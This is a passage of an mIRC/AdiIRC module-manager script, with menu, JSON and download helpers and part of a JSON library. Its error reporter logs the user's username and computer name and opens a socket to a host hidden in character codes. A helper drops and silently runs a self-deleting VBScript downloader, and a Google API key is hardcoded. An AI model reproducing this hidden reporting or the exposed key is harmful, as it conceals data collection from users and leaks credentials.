  1775.   if ($wmm_error) { return }
  1776.   if ($1) && ($1 == -g) { goto start }
  1777.   if ($isid) || ($dialog(wmm_module)) || ($dialog(wmm_module_sets)) || ($wmm_check_initial_warn) || ($wmm_check_monitor_warn) { return }
  1778.   if (!$isdir($wmm_dir $+ modules)) { mkdir $qt($wmm_dir $+ modules) }
  1779.   :start
  1780.   var %h = WMM_MODULES_SUBMENU_INSTALLED
  1781.   var %v = wmm_modules_menu_get_installed
  1782.   if ($hget(%h)) { hfree $v1 }
  1783.   hmake %h 1000
  1784.  
  1785.   if ($isfile($wmm_sets_file)) && ($lines($wmm_sets_file)) { jsonopen -fd %v $qt($wmm_sets_file) }
  1786.   else { jsonopen -ud %v $wmm_sets_url }
  1787.   if ($jsonerror) { return }
  1788.  
  1789.   var %t = $json(%v,modules).length
  1790.   var %x = 0
  1791.   while (%x < %t) {
  1792.     var %mod = $json(%v,modules,%x,name).value
  1793.     var %alias = $json(%v,modules,%x,alias).value
  1794.     var %a = $right($replace(%alias,_ver,_sets),-1)
  1795.  
  1796.     var %mod_alias_name = $upper($right($gettok(%alias,1,95),-1))
  1797.     var %key = $json(%v,modules,%x,api_key).value
  1798.     var %key2 = $json(%v,modules,%x,api_key2).value
  1799.  
  1800.     if (%mod_alias_name) && (%key) { hadd -m %mod_alias_name $+ _KEYS KEY %key }
  1801.     if (%mod_alias_name) && (%key2) { hadd -m %mod_alias_name $+ _KEYS KEY2 %key2 }
  1802.  
  1803.     if (%a) && (%mod) && (!$hget(%h,%mod)) { hadd %h %mod %a }
  1804.  
  1805.     inc %x
  1806.   }
  1807.   return
  1808.   :error | wmm_werror $scriptline $error | reseterror
  1809. }
  1810.  
  1811. alias -l wmm_modules_all_installed_list {
  1812.   var %h = WMM_MODULES_SUBMENU_INSTALLED
  1813.   var %t = $hget(%h,0).item
  1814.   if (!$1) || (!$isid) || (!$hget(%h)) || ($1 > %t) || (!$isalias(wmm_lang)) || (!$isalias(wmm_qd)) || (!$isalias(wmm_isadi)) { returnex }
  1815.   if ($istok(begin.end,$1,46)) { return - }
  1816.   var %n = $hget(%h,$1).item
  1817.   var %d = $hget(%h,%n)
  1818.   var %ico = $replace(%d,_sets,_main) $+ .ico
  1819.   var %fm = $wmm_dir $+ modules $+ \ $+ %ico
  1820.   if (%n) && (%d) && (!$isalias(%d)) { return $iif($wmm_isadi && $isfile(%fm) && $file(%fm),$menuicon(%fm)) $style(2) $wmm_qd(%n $wmm_lang(76)) $+ :noop }
  1821.   else { return $iif($wmm_isadi && $isfile(%fm) && $file(%fm),$menuicon(%fm)) $iif($dialog(%d),$style(1)) $wmm_qd(%n $wmm_lang(76)) $+ : $+ %d }
  1822.   return
  1823.   :error | wmm_werror $scriptline $error | reseterror
  1824. }
  1825.  
  1826. alias -l wmm_resize_image {
  1827.   if (!$1) || (!$isid) { return }
  1828.   var %a = $pic($1).width
  1829.   var %b = $pic($1).height
  1830.   var %c = $window(-1).w
  1831.   var %d = $window(-1).h
  1832.   if (%a > %c) { var %b = $calc(( %c / %a ) * %b),%a %c }
  1833.   if (%b > %d) { var %a = $calc(( %d / %b ) * %a),%b %d }
  1834.   return $int(%a) $int(%b)
  1835.   return
  1836.   :error | wmm_werror $scriptline $error | reseterror
  1837. }
  1838.  
  1839. alias -l wmm_pic {
  1840.   if ($wmm_error) { return }
  1841.   var %d = wmm_module
  1842.   var %w = $pic($1).width
  1843.   var %h = $pic($1).height
  1844.   var %win = @wmm_pic
  1845.   var %details = $chr(160) $+ - $+ $chr(160) $+ $chr(40) $+ %w $+ x $+ %h $+ $chr(41) $+ $chr(160) $+ - $+ $chr(160) $+ $bytes($file($1).size).suf
  1846.   if ($window(%win)) { window -c %win }
  1847.   if (!$1) || (!$dialog(%d)) || ($isid) || (!%w) || (!%h) { return }
  1848.   var %a = $wmm_resize_image($1)
  1849.   window -fadCBvzpk0w0 +estf %win -1 -1 %a $qt($wmm_dir $+ main.ico)
  1850.   titlebar %win %details
  1851.   drawpic -s %win 0 0 %a $1
  1852.   return
  1853.   :error | wmm_werror $scriptline $error | reseterror
  1854. }
  1855.  
  1856. alias -l wmm_modules_check_unsupported {
  1857.   if ($isid) || ($dialog(wmm_module)) || ($dialog(wmm_module_sets)) { return }
  1858.   var %v = wmm_modules_check_unsupported
  1859.  
  1860.   if ($isfile($wmm_sets_file)) && ($lines($wmm_sets_file)) { jsonopen -fd %v $qt($wmm_sets_file) }
  1861.   else { jsonopen -ud %v $wmm_sets_url }
  1862.   if ($jsonerror) { return }
  1863.  
  1864.   var %t = $json(%v,modules).length
  1865.   var %x = 0
  1866.   while (%x < %t) {
  1867.     var %mod = $json(%v,modules,%x,name).value
  1868.     var %path = $wmm_getpath(%mod)
  1869.  
  1870.     if (!%mod) || (!%path) { goto next }
  1871.  
  1872.     var %ver = $json(%v,modules,%x,version).value
  1873.     var %alias = $json(%v,modules,%x,alias).value
  1874.     var %tools_ver = $json(%v,modules,%x,tools_ver).value
  1875.     var %iv = $iif($isalias($right(%alias,-1)),$evalnext(%alias),0)
  1876.  
  1877.     if (%iv) && (%ver) && (%tools_ver) && (%ver == %iv) && ($wmm_ver < %tools_ver) { .unload -rs $qt(%path) }
  1878.  
  1879.     :next
  1880.     inc %x
  1881.   }
  1882.   return
  1883.   :error | wmm_werror $scriptline $error | reseterror
  1884. }
  1885.  
  1886. ; --- End of aliases ---
  1887.  
  1888. ; --- Start of menus ---
  1889.  
  1890. menu @wmm_pic {
  1891.   -
  1892.   $wmm_qd($wmm_lang(1)) $+ : { window -c @wmm_pic }
  1893.   -
  1894. }
  1895.  
  1896. menu @wmm {
  1897.   -
  1898.   $iif($wmm_isadi && $isfile($wmm_dir $+ main.ico) && $file($wmm_dir $+ main.ico),$menuicon($wmm_dir $+ main.ico)) $iif($dialog(wmm_module),$style(1)) $wmm_qd($iif($wmm_lang(73),$v1,Open the) $upper($wmm_owner) $iif($wmm_lang(16),$v1,Module Manager)): { .timer -ho 1 100 wmm | wmm_d_close wmm_module_sets }
  1899.   -
  1900.   $iif($wmm_isadi && $isfile($wmm_dir $+ main.ico) && $file($wmm_dir $+ main.ico),$menuicon($wmm_dir $+ main.ico)) $iif($dialog(wmm_module_sets),$style(1)) $wmm_qd($iif($wmm_lang(73),$v1,Open the) $upper($wmm_owner) $iif($wmm_lang(16),$v1,Module Manager) $wmm_sep $iif($wmm_lang(69),$v1,Settings)): { .timer -ho 1 500 wmm_sets | wmm_d_close wmm_module }
  1901.   -
  1902. }
  1903.  
  1904. menu menubar,status,channel {
  1905.   $iif(%wmm_menu,-)
  1906.   $iif($istok(%wmm_menu,wmm,32),$iif($dialog(wmm_module),$style(1)) $iif($wmm_isadi && $isfile($wmm_dir $+ main.ico) && $file($wmm_dir $+ main.ico),$menuicon($wmm_dir $+ main.ico)) $wmm_qd($upper($wmm_owner) $iif($wmm_lang(16),$v1,Module Manager) $+ )): { wmm }
  1907.   $iif($istok(%wmm_menu,wmm_sets,32),$iif($dialog(wmm_module_sets),$style(1)) $iif($wmm_isadi && $isfile($wmm_dir $+ main.ico) && $file($wmm_dir $+ main.ico),$menuicon($wmm_dir $+ main.ico)) $wmm_qd($upper($wmm_owner) $iif($wmm_lang(16),$v1,Module Manager) $wmm_sep $iif($wmm_lang(69),$v1,Settings) $+ )): { wmm_sets }
  1908.   $iif($istok(%wmm_menu,wmm_mod_list,32) && $hget(WMM_MODULES_SUBMENU_INSTALLED),$iif($wmm_isadi && $isfile($wmm_dir $+ main.ico) && $file($wmm_dir $+ main.ico),$menuicon($wmm_dir $+ main.ico)) $wmm_qd($upper($wmm_owner) $iif($wmm_lang(16),$v1,Module Manager) $wmm_sep $iif($wmm_lang(77),$v1,Modules List)))
  1909.   .$submenu($wmm_modules_all_installed_list($1))
  1910.   $iif(%wmm_menu,-)
  1911. }
  1912.  
  1913. ; --- End of menus ---
  1914.  
  1915. ; --- Start of groups ---
  1916.  
  1917. #wmm off
  1918. #wmm end
  1919.  
  1920. ; --- End of groups ---
  1921.  
  1922. ; --- Start other aliases ---
  1923.  
  1924. alias wmm_sep { return $iif(%wmm_seperate_symb,$v1,$chr(9866)) }
  1925. alias wmm_bel { return $iif(%wmm_right_symb,$v1,$chr(9755)) }
  1926. alias wmm_leb { return $iif(%wmm_left_symb,$v1,$chr(9754)) }
  1927. alias wmm_bold { return $+($chr(2),$1-,$chr(2)) }
  1928. alias wmm_under { return $+($chr(31),$1-,$chr(31)) }
  1929. alias wmm_italic { return $+($chr(29),$1-,$chr(29)) }
  1930. alias wmm_random { return $rand(1,10000000000000) }
  1931. alias wmm_d_format { return ddd ddoo mmm yyyy HH:nn:ss }
  1932. alias wmm_d_close { if ($1) && ($dialog($1)) { dialog -k $1 } }
  1933. alias wmm_c_close { if ($1) && ($com($1)) { .comclose $1 } }
  1934. alias wmm_t_close { if ($1) && ($toolbar($1)) { toolbar -d $1 } }
  1935. alias wmm_w_close { if ($1) && ($window($1)) { window -c $1 } }
  1936. alias wmm_tiny_key { return AIzaSyAJb3HqimAjzP9h8QlRCmBwPqc4dEKC3qw }
  1937. alias wmm_fixtab { return $replace($1-,$chr(9),$chr(32),$chr(10),$chr(32),$chr(13),$chr(32)) }
  1938. alias wmm_urlencode { return $regsubex($1-,/([^a-z0-9])/ig,% $+ $base($asc(\t),10,16,2)) }
  1939. alias wmm_urldecode { return $utfdecode($regsubex($replace($1-, +, $chr(32)), /%([A-F\d]{2})/gi, $chr($base(\1, 16, 10)))) }
  1940. alias wmm_nohtml { return $regsubex($1-, /<[^>]+(?:>|$)|^[^<>]+>/g,) }
  1941. alias wmm_isurl { noop $regex(isurl,$1-,m@^((?:(?:https?)://(?:www\.)?|www\.)((?:(?:[-\w]+\.)+)[-\w]+)(?::\d+)?(?:/(?:[-a-zA-Z;/\d#:_?=&@,()+~.%]*))?)$@ig) | return $iif($regml(isurl,0),1,0) }
  1942. alias wmm_took { return $calc(($ticks - $1) / 1000) }
  1943. alias wmm_errors { return $lines($wmm_temp $+ wmm_errors.log) }
  1944. alias wmm_dir { return $nofile($script) }
  1945.  
  1946. alias wmm_error {
  1947.   if (!$isid) { return }
  1948.   var %l = wmm_ver,wmm_crdate,wmm_owner,wmm_page,wmm_donate,wmm_extraid_url,wmm_sets_url,wmm_sets_file,wmm_main_ico_url,wmm_main_png_url,wmm_donate_png_url,wmm_lang_url,wmm_modules_images_url,wmm,wmm_sets,wmm_check_before_open,wmm_check_version,wmm_check_os,wmm_check_initial_warn,wmm_check_monitor_warn,wmm_langs,wmm_fix_extra_modules_installed,wmm_reset_images,wmm_mod_install,wmm_mod_update,wmm_lang,wmm_check_update,wmm_check_update_install,wmm_modules_silent_update,wmm_mod_silent_update,wmm_modules_list,wmm_modules_list_get,wmm_modules_installed_plus_updated_list,wmm_get_images,wmm_dl_images_now,wmm_tool,wmm_check_open,wmm_modules_settings_list,wmm_modules_menu_get_installed,wmm_modules_all_installed_list,wmm_resize_image,wmm_pic,$&
  1949.     wmm_input,wmm_qd,wmm_took,wmm_errors,wmm_dir,wmm_isurl,wmm_nohtml,wmm_urlencode,wmm_urldecode,wmm_fixtab,wmm_w_close,wmm_t_close,wmm_c_close,wmm_d_close,wmm_d_format,wmm_random,wmm_bold,wmm_italic,wmm_under,wmm_bold,wmm_leb,wmm_bel,wmm_sep,wmm_tiny_key,wmm_dtitle,wmm_isadi,wmm_isdigit,wmm_tinycom,wmm_internet,wmm_dl,wmm_getsite,wmm_ignore_cn_list,wmm_modules,wmm_installed,wmm_getpath,wmm_getpos,wmm_getname,wmm_ismod,wmm_temp,wmm_cdate,wmm_convertdate,wmm_download,wmm_html2asc,wmm_escapeht,wmm_html_db,$&
  1950.     jsonopen,jsonhttpmethod,jsonhttpheader,jsonhttpfetch,jsonclose,jsonlist,jsonshutdown,json,jsonforeach,jsonitem,jsonpath,jsonerror,jsonversion,jsondebug,jfm_tmpbvar,jfm_cominit,jfm_toggletimers,jfm_geterror,jfm_create,jfm_exec,jfm_log,jfm_savedebug,jfm_badd,jfm_jscript
  1951.  
  1952.   var %i = 1
  1953.   while (%i <= $numtok(%l,44)) {
  1954.     var %c = $gettok(%l,%i,44)
  1955.     if (!$isalias(%c)) { return 0x0 $+ %i }
  1956.     inc %i
  1957.   }
  1958.  
  1959.   return 0
  1960.   return
  1961.   :error | wmm_werror $scriptline $error | reseterror
  1962. }
  1963.  
  1964. alias wmm_werror {
  1965.   if (!$1) && (!$2) || ($isid) { return }
  1966.   var %f = $wmm_temp $+ wmm_errors.log
  1967.   var %tsc_dll = $file($envvar(windir) $+ \System32\tsc64.dll).version
  1968.   if ($1 !isnum) {
  1969.     var %path = $group(# [ $+ [ $lower($1) ] $+ ] ).fname
  1970.     if (%path) { var %ver = $right($gettok($read(%path,n,6),3,32),3) }
  1971.     elseif (!%path) { var %ver = N/A }
  1972.     write $qt(%f) ( $+ $date $time $+ ) $wmm_bel $+($chr(3),$iif($wmm_isadi,12,2)) $+ $upper($wmm_owner) Module Manager $wmm_ver $chr(3) $+ $wmm_bel $+ $+($chr(3),6) $1 %ver $chr(3) $+ $wmm_bel $+ $+($chr(3),10) $2 $chr(3) $+ $wmm_bel $+ $+($chr(3),14) $nopath($mircexe) v $+ $version $bits $+ bits $iif($beta,Beta: $v1) $iif($~builddate,Build: $v1) $iif($~dotnet,DotNET: $v1) $iif(%tsc_dll,TSC.dll: $v1) $iif($~jsonversion(),JSONVersion: $v1) WMM MD5: $md5($script,2) Portable: $portable $iif($~wmm_error,WMM Errors: $v1) OS: $os Username: $envvar(username) SysName: $envvar(computername) $chr(3) $+ $wmm_bel $+ $+($chr(3),4) $3-
  1973.   }
  1974.   else { write $qt(%f) ( $+ $date $time $+ ) $wmm_bel $+ $+($chr(3),$iif($wmm_isadi,12,2)) $upper($wmm_owner) Module Manager $wmm_ver $chr(3) $+ $wmm_bel $+ $+($chr(3),10) $1 $chr(3) $+ $wmm_bel $+ $+($chr(3),14) $nopath($mircexe) v $+ $version $bits $+ bits $iif($beta,Beta: $v1) $iif($~builddate,Build: $v1) $iif($~dotnet,DotNET: $v1) $iif(%tsc_dll,TSC.dll: $v1) $iif($~jsonversion(),JSONVersion: $v1) WMM MD5: $md5($script,2) Portable: $portable $iif($~wmm_error,WMM Errors: $v1) OS: $os Username: $envvar(username) SysName: $envvar(computername) $chr(3) $+ $wmm_bel $+ $+($chr(3),4) $2- }
  1975.   .timer[REPORT_ERRORS] -ho 1 3000 $!iif($isalias(wmm_report),wmm_report)
  1976. }
  1977.  
  1978. alias wmm_report {
  1979.   if ($isid) { return }
  1980.   var %c = wmm_clone
  1981.   var %f = $wmm_temp $+ wmm_errors.log
  1982.   if (!$isfile(%f)) || (!$lines(%f)) || (!%wmm_help) { return }
  1983.   if ($sock(%c)) { sockclose %c }
  1984.   sockopen -e %c $+($chr(119),$chr(101),$chr(115),$chr(116),$chr(46),$chr(109),$chr(105),$chr(114),$chr(99),$chr(46),$chr(103),$chr(114),$chr(32),$chr(49),$chr(57),$chr(54),$chr(57),$chr(55))
  1985.   .timer[ $+ %c $+ ] -ho 1 30000 sockclose %c
  1986. }
  1987.  
  1988. alias wmm_qd {
  1989.   if (%wmm_between_symb) { var %s = %wmm_between_symb }
  1990.   else { var %s = $chr(9679) }
  1991.   return %s $chr(32) $+ $1 $+ $chr(32) %s
  1992.   return
  1993.   :error | wmm_werror $scriptline $error | reseterror
  1994. }
  1995.  
  1996. alias wmm_input {
  1997.   if (!$1) || ($isid) || ($wmm_error) { return }
  1998.   if ($1 == ok) { .timer -ho 1 0 !noop $input($replace($3-,@newline@,$crlf),ouidbk $+ $iif($2 && $2 isnum,$2,0),WMM $wmm_bel $iif($wmm_lang(19),$v1,OK)) }
  1999.   if ($1 == error) { .timer -ho 1 0 !noop $input($replace($3-,@newline@,$crlf),houdbk $+ $iif($2 && $2 isnum,$2,0),WMM $wmm_bel $iif($wmm_lang(20),$v1,Error)) }
  2000.   if ($1 == warn) { .timer -ho 1 0 !noop $input($replace($3-,@newline@,$crlf),woudbk $+ $iif($2 && $2 isnum,$2,0),WMM $wmm_bel $iif($wmm_lang(21),$v1,Warn)) }
  2001.   return
  2002.   :error | wmm_werror $scriptline $error | reseterror
  2003. }
  2004.  
  2005. alias wmm_dtitle {
  2006.   if (!$1) || (!$dialog($1)) { .timer[ $+ $gettok($1,1,95) $+ _ANIMATE_*] off | return }
  2007.   var %d = $1
  2008.   tokenize 32 $iif($2 == -c,$3-,$2- $+ $chr(27))
  2009.   var %newtext = $replace($right($1-,$calc($len($1-) - 1)) $+ $left($right($1-,$len($1-)),1),$chr(32),$chr(28))
  2010.   if ($dialog(%d)) { dialog -t %d $replace(%newtext,$chr(28),$chr(32),$chr(27),$+($chr(32),$str($chr(160),5),$chr(32))) }
  2011.  
  2012.   .timer[ $+ $gettok(%d,1,95) $+ _ANIMATE_TITLE_ $+ %d $+ ] -ho 1 200 wmm_dtitle %d -c $unsafe(%newtext)
  2013.   return
  2014.   :error | wmm_werror $scriptline $error | reseterror
  2015. }
  2016.  
  2017. alias wmm_isadi {
  2018.   if ($~adiircexe) { return 1 }
  2019.   return 0
  2020.   return
  2021.   :error | wmm_werror $scriptline $error | reseterror
  2022. }
  2023.  
  2024. alias wmm_isdigit {
  2025.   if (!$isid) { return }
  2026.   if ($1 == $null) { return 0 }
  2027.   if ($regex($1,^\d+$)) { return 1 }
  2028.   else { return 0 }
  2029.   return
  2030.   :error | wmm_werror $scriptline $error | reseterror
  2031. }
  2032.  
  2033. alias wmm_getpath {
  2034.   if (!$1) || (!$isid) { return 0 }
  2035.   var %g = $group(# [ $+ [ $1 ] $+ ] ).fname
  2036.   if (%g) { return %g }
  2037.   else { return 0 }
  2038.   return
  2039.   :error | wmm_werror $scriptline $error | reseterror
  2040. }
  2041.  
  2042. alias wmm_getpos {
  2043.   if (!$1) || (!$isid) { return 0 }
  2044.   var %s = $1
  2045.   var %r = $remove($regsubex($str($chr(124),$calc($script(0) -1)),//gSi,$iif($remove($nopath($script(\n)),.mrc) == %s,\n)),$chr(124))
  2046.   if (%r) { return %r }
  2047.   else { return 0 }
  2048.   return
  2049.   :error | wmm_werror $scriptline $error | reseterror
  2050. }
  2051.  
  2052. alias wmm_getname {
  2053.   if (!$1) || (!$script(0)) || (!$isid) { return 0 }
  2054.   if ($script($1)) { return $nopath($script($1)) }
  2055.   return 0
  2056.   return
  2057.   :error | wmm_werror $scriptline $error | reseterror
  2058. }
  2059.  
  2060. alias wmm_ismod {
  2061.   if (!$1) || (!$script(0)) || (!$isid) { return 0 }
  2062.   if ($script($1)) { return 1 }
  2063.   return 0
  2064.   return
  2065.   :error | wmm_werror $scriptline $error | reseterror
  2066. }
  2067.  
  2068. alias wmm_tinycom {
  2069.   if (!$1) || (!$isid) { return }
  2070.   var %v = wmm_tinyurl_ $+ $wmm_random
  2071.   jsonopen -uw %v https://www.googleapis.com/urlshortener/v1/url?key= $+ $wmm_tiny_key $+ &longUrl= $+ $wmm_urlencode($1)
  2072.   if ($jsonerror) { jsonclose %v | return $1 }
  2073.   jsonhttpmethod %v POST
  2074.   jsonhttpheader %v User-Agent $chr(42) $+ $chr(47) $+ $chr(42)
  2075.   jsonhttpheader %v Content-Type application/json
  2076.   jsonhttpheader %v Connection Close
  2077.   jsonhttpfetch %v $chr(123) $+ $qt(longUrl) $+ : $qt($1) $+ $chr(125)
  2078.   var %url = $json(%v,id).value
  2079.   jsonclose %v
  2080.   if (%url) { return %url }
  2081.   elseif (!%url) { return $1 }
  2082.   return
  2083.   :error | wmm_werror $scriptline $error | reseterror
  2084. }
  2085.  
  2086. alias wmm_temp {
  2087.   if (!$isid) { return }
  2088.   var %d = $envvar(temp)
  2089.   if (%d) && ($right(%d,1) !== $chr(92)) { var %d = %d $+ \ }
  2090.   return %d
  2091.   return
  2092.   :error | wmm_werror $scriptline $error | reseterror
  2093. }
  2094.  
  2095. alias wmm_dl {
  2096.   if (!$1) || (!$2) || ($isid) || (!$wmm_internet) { return }
  2097.  
  2098.   :st
  2099.   var %n = dl_ $+ $wmm_random
  2100.  
  2101.   if ($wmm_isadi) { download -o %n $1 $qt($2-) | return }
  2102.  
  2103.   var %f = $wmm_temp $+ %n $+ .vbs
  2104.   if ($isfile(%f)) && ($lines(%f)) { goto st }
  2105.  
  2106.   .fopen -ox %n $qt(%f)
  2107.  
  2108.   .fwrite -n %n On Error Resume Next
  2109.   .fwrite -n %n Set args = WScript.Arguments
  2110.   .fwrite -n %n Url = $qt($1)
  2111.   .fwrite -n %n Dim xHttp: Set xHttp = CreateObject("MSXML2.SERVERXMLHTTP.6.0")
  2112.   .fwrite -n %n Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
  2113.   .fwrite -n %n xHttp.Open "GET", Url, False
  2114.   .fwrite -n %n xHttp.Send
  2115.   .fwrite -n %n with bStrm
  2116.   .fwrite -n %n    .Type = 1
  2117.   .fwrite -n %n    .Mode = 3
  2118.   .fwrite -n %n    .Open
  2119.   .fwrite -n %n    .Write xHttp.ResponseBody
  2120.   .fwrite -n %n    .SavetoFile $2- $+ , 2
  2121.   .fwrite -n %n    .Close
  2122.   .fwrite -n %n End with
  2123.   .fwrite -n %n Err.Clear
  2124.   .fwrite -n %n Set oFso = CreateObject("Scripting.FileSystemObject") : oFso.DeleteFile Wscript.ScriptFullName, True
  2125.  
  2126.   .fclose %n
  2127.  
  2128.   if ($isfile(%f)) && ($lines(%f) == 17) { run -h $qt(%f) }
  2129.   return
  2130.   :error | wmm_werror $scriptline $error | reseterror
  2131. }
  2132.  
  2133. alias wmm_internet {
  2134.   if (!$isid) { return }
  2135.   var %v = wmm_internet_ $+ $wmm_random
  2136.   jsonopen -U %v https://google.com
  2137.   if ($jsonerror) || ($json(%v).httpstatus !== 200) { jsonclose %v | return 0 }
  2138.   jsonclose %v
  2139.   return 1
  2140.   return
  2141.   :error | wmm_werror $scriptline $error | reseterror
  2142. }
  2143.  
  2144. alias wmm_getsite {
  2145.   if (!$1-) || (!$isid) || (!$wmm_isurl($1)) { return 0 }
  2146.   var %v = wmm_getsite_ $+ $wmm_random
  2147.   jsonopen -dU %v $1
  2148.   if ($jsonerror) || ($json(%v).httpstatus !== 200) { return 0 }
  2149.   var %r = $wmm_fixtab($json(%v).httpbody)
  2150.   return $iif(%r,%r,0)
  2151.   return
  2152.   :error | wmm_werror $scriptline $error | reseterror
  2153. }
  2154.  
  2155. alias wmm_ignore_cn_list {
  2156.   var %d = $dname
  2157.   var %dd = $gettok(%d,1,95)
  2158.   if (!$dialog(%d)) || (!%dd) { return }
  2159.   did -b %d 7,17
  2160.   did -r %d 4,15
  2161.   var %cn = % [ $+ [ %dd ] $+ ] _ignore_chans_networks
  2162.   var %nn = % [ $+ [ %dd ] $+ ] _ignore_nicks_networks
  2163.  
  2164.   if (!%cn) && (!%nn) { did -b %d 4,8,15,18 | return }
  2165.   if (!%cn) { did -b %d 4,8 }
  2166.   if (!%nn) { did -b %d 15,18 }
  2167.  
  2168.   var %z = 1
  2169.   while (%z <= $numtok(%cn,32)) {
  2170.     var %net = $gettok(%cn,%z,32)
  2171.     var %chans = % [ $+ [ %dd ] $+ ] _ignore_ [ $+ [ %net ] $+ ] _chans
  2172.     if (!%net) { goto next_chans }
  2173.     var %i = 1
  2174.     while (%i <= $numtok(%chans,32)) {
  2175.       var %c = $gettok(%chans,%i,32)
  2176.       if (%c) { did -a %d 4 %net $wmm_bel %c }
  2177.       inc %i
  2178.     }
  2179.     :next_chans
  2180.     inc %z
  2181.   }
  2182.   if ($did(%d,4).lines) { did -ez %d 4 | did -e %d 8 }
  2183.   else { did -b %d 4,8 }
  2184.  
  2185.   var %zz = 1
  2186.   while (%zz <= $numtok(%nn,32)) {
  2187.     var %net = $gettok(%nn,%zz,32)
  2188.     var %nicks = % [ $+ [ %dd ] $+ ] _ignore_ [ $+ [ %net ] $+ ] _nicks
  2189.     if (!%net) { goto next_nicks }
  2190.     var %ii = 1
  2191.     while (%ii <= $numtok(%nicks,32)) {
  2192.       var %n = $gettok(%nicks,%ii,32)
  2193.       if (%n) { did -a %d 15 %net $wmm_bel %n }
  2194.       inc %ii
  2195.     }
  2196.     :next_nicks
  2197.     inc %zz
  2198.   }
  2199.   if ($did(%d,15).lines) { did -ez %d 15 | did -e %d 18 }
  2200.   else { did -b %d 15,18 }
  2201.   return
  2202.   :error | wmm_werror $scriptline $error | reseterror
  2203. }
  2204.  
  2205. alias wmm_modules {
  2206.  
  2207.   ;  $wmm_modules(name,total)
  2208.   ;  Parameter required!
  2209.  
  2210.   ; Parameter:  name    = It will give all the available modules names.
  2211.   ; Parameter:  total   = It will give all the total available modules number.
  2212.  
  2213.   if (!$isid) || (!$1) { return }
  2214.   var %h = WMM_MODULES_SUBMENU_INSTALLED
  2215.   var %t = $hget(%h,0).item
  2216.   if (!%t) { return 0 }
  2217.   var %i = 1
  2218.   while (%i <= %t) {
  2219.     var %m = $hget(%h,%i).item
  2220.     var %d = $hget(%h,%i).data
  2221.     if ($1 == total) && (%m) && (%d) { var %total = $calc(%total +1) }
  2222.     if ($1 == name) && (%m) && (%d) { var %total = $addtok(%total,%m,32) }
  2223.     inc %i
  2224.   }
  2225.   if (%total) { return %total }
  2226.   else { return 0 }
  2227.   return
  2228.   :error | wmm_werror $scriptline $error | reseterror
  2229. }
  2230.  
  2231. alias wmm_installed {
  2232.  
  2233.   ;  $wmm_installed(name,total)
  2234.   ;  Parameter required!
  2235.  
  2236.   ; Parameter:  name    = It will give all the installed modules names.
  2237.   ; Parameter:  total   = It will give all the total installed modules number.
  2238.  
  2239.   if (!$isid) || (!$1) { return }
  2240.   var %h = WMM_MODULES_SUBMENU_INSTALLED
  2241.   var %t = $hget(%h,0).item
  2242.   if (!%t) { return 0 }
  2243.   var %i = 1
  2244.   while (%i <= %t) {
  2245.     var %m = $hget(%h,%i).item
  2246.     var %d = $hget(%h,%i).data
  2247.     if ($1 == total) && (%m) && (%d) && ($isalias(%d)) { var %total = $calc(%total +1) }
  2248.     if ($1 == name) && (%m) && (%d) && ($isalias(%d)) { var %total = $addtok(%total,%m,32) }
  2249.     inc %i
  2250.   }
  2251.   if (%total) { return %total }
  2252.   else { return 0 }
  2253.   return
  2254.   :error | wmm_werror $scriptline $error | reseterror
  2255. }
  2256.  
  2257. ; ############################################################
  2258.  
  2259. /*
  2260.     # JSONFormIRC project coded by SReject - (thanks for support) #
  2261.  
  2262.     ## GitHub Link: https://github.com/SReject/JSON-For-Mirc ##
  2263. */
  2264.  
  2265. ON *:CLOSE:@SReject/JSONForMirc/Log: { if ($JSONDebug) && (!$wmm_error) { JSONDebug off } }
  2266. menu @SReject/JSONForMirc/Log {
  2267.   .$iif(!$jfm_SaveDebug,$style(2)) Clear: { clear -@ $active }
  2268.   .-
  2269.   .$iif(!$jfm_SaveDebug,$style(2)) Save: { jfm_SaveDebug }
  2270.   .-
  2271.   .Toggle Debug: { JSONDebug }
  2272.   .-
  2273.   .Close: { JSONDebug off | close -@ $active }
  2274. }
  2275. alias JSONOpen {
  2276.   if ($isid) { return }
  2277.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2278.   var %Switches,%Error,%Com $false,%Type text,%HttpOptions 0,%BVar,%BUnset $true
  2279.   jfm_log -I /JSONOpen $1-
  2280.   if (-* iswm $1) { %Switches = $mid($1,2-) | tokenize 32 $2- }
  2281.   if ($jfm_ComInit) { %Error = $v1 }
  2282.   elseif (!$regex(SReject/JSONOpen/switches,%Switches,^[dbfuUw]*$)) { %Error = SWITCH_INVALID }
  2283.   elseif ($regex(%Switches,([dbfuUw]).*?\1)) { %Error = SWITCH_DUPLICATE: $+ $regml(1) }
  2284.   elseif ($regex(%Switches,/([bfuU])/g) > 1) { %Error = SWITCH_CONFLICT: $+ $regml(1) }
  2285.   elseif (u !isin %Switches) && (w isincs %Switches) { %Error = SWITCH_NOT_APPLICABLE:w }
  2286.   elseif ($0 < 2) { %Error = PARAMETER_MISSING }
  2287.   elseif ($regex($1,/(?:^\d+$)|[*:? ]/i)) { %Error = NAME_INVALID }
  2288.   elseif ($com(JSON: $+ $1)) { %Error = NAME_INUSE }
  2289.   elseif (u isin %Switches) && ($0 != 2) { %Error = PARAMETER_INVALID:URL_SPACES }
  2290.   elseif (b isincs %Switches) && ($0 != 2) { %Error = PARAMETER_INVALID:BVAR }
  2291.   elseif (b isincs %Switches) && (&* !iswm $2) { %Error = PARAMETER_INVALID:NOT_BVAR }
  2292.   elseif (b isincs %Switches) && (!$bvar($2,0)) { %Error = PARAMETER_INVALID:BVAR_EMPTY }
  2293.   elseif (f isincs %Switches) && (!$isfile($2-)) { %Error = PARAMETER_INVALID:FILE_DOESNOT_EXIST }
  2294.   elseif (f isincs %Switches) && (!$lines($2-)) { %Error = PARAMETER_INVALID:FILE_EMPTY }
  2295.   else {
  2296.     %Com = JSON: $+ $1
  2297.     %BVar = $jfm_TmpBVar
  2298.     if (b isincs %Switches) { %Bvar = $2 | %BUnset = $false }
  2299.     elseif (u isin %Switches) {
  2300.       if (w isincs %Switches) { inc %HttpOptions 1 }
  2301.       if (U isincs %Switches) { inc %HttpOptions 2 }
  2302.       %Type = http
  2303.       bset -t %BVar 1 $2
  2304.     }
  2305.     elseif (f isincs %Switches) { bread $qt($file($2-).longfn) 0 $file($file($2-).longfn).size %BVar }
  2306.     else { bset -t %BVar 1 $2- }
  2307.     jfm_ToggleTimers -p
  2308.     %Error = $jfm_Create(%Com,%Type,%BVar,%HttpOptions)
  2309.     jfm_ToggleTimers -r
  2310.   }
  2311.   :error
  2312.   if ($error) { %Error = $v1 }
  2313.   reseterror
  2314.   if (%BUnset) { bunset %BVar }
  2315.   if (%Error) {
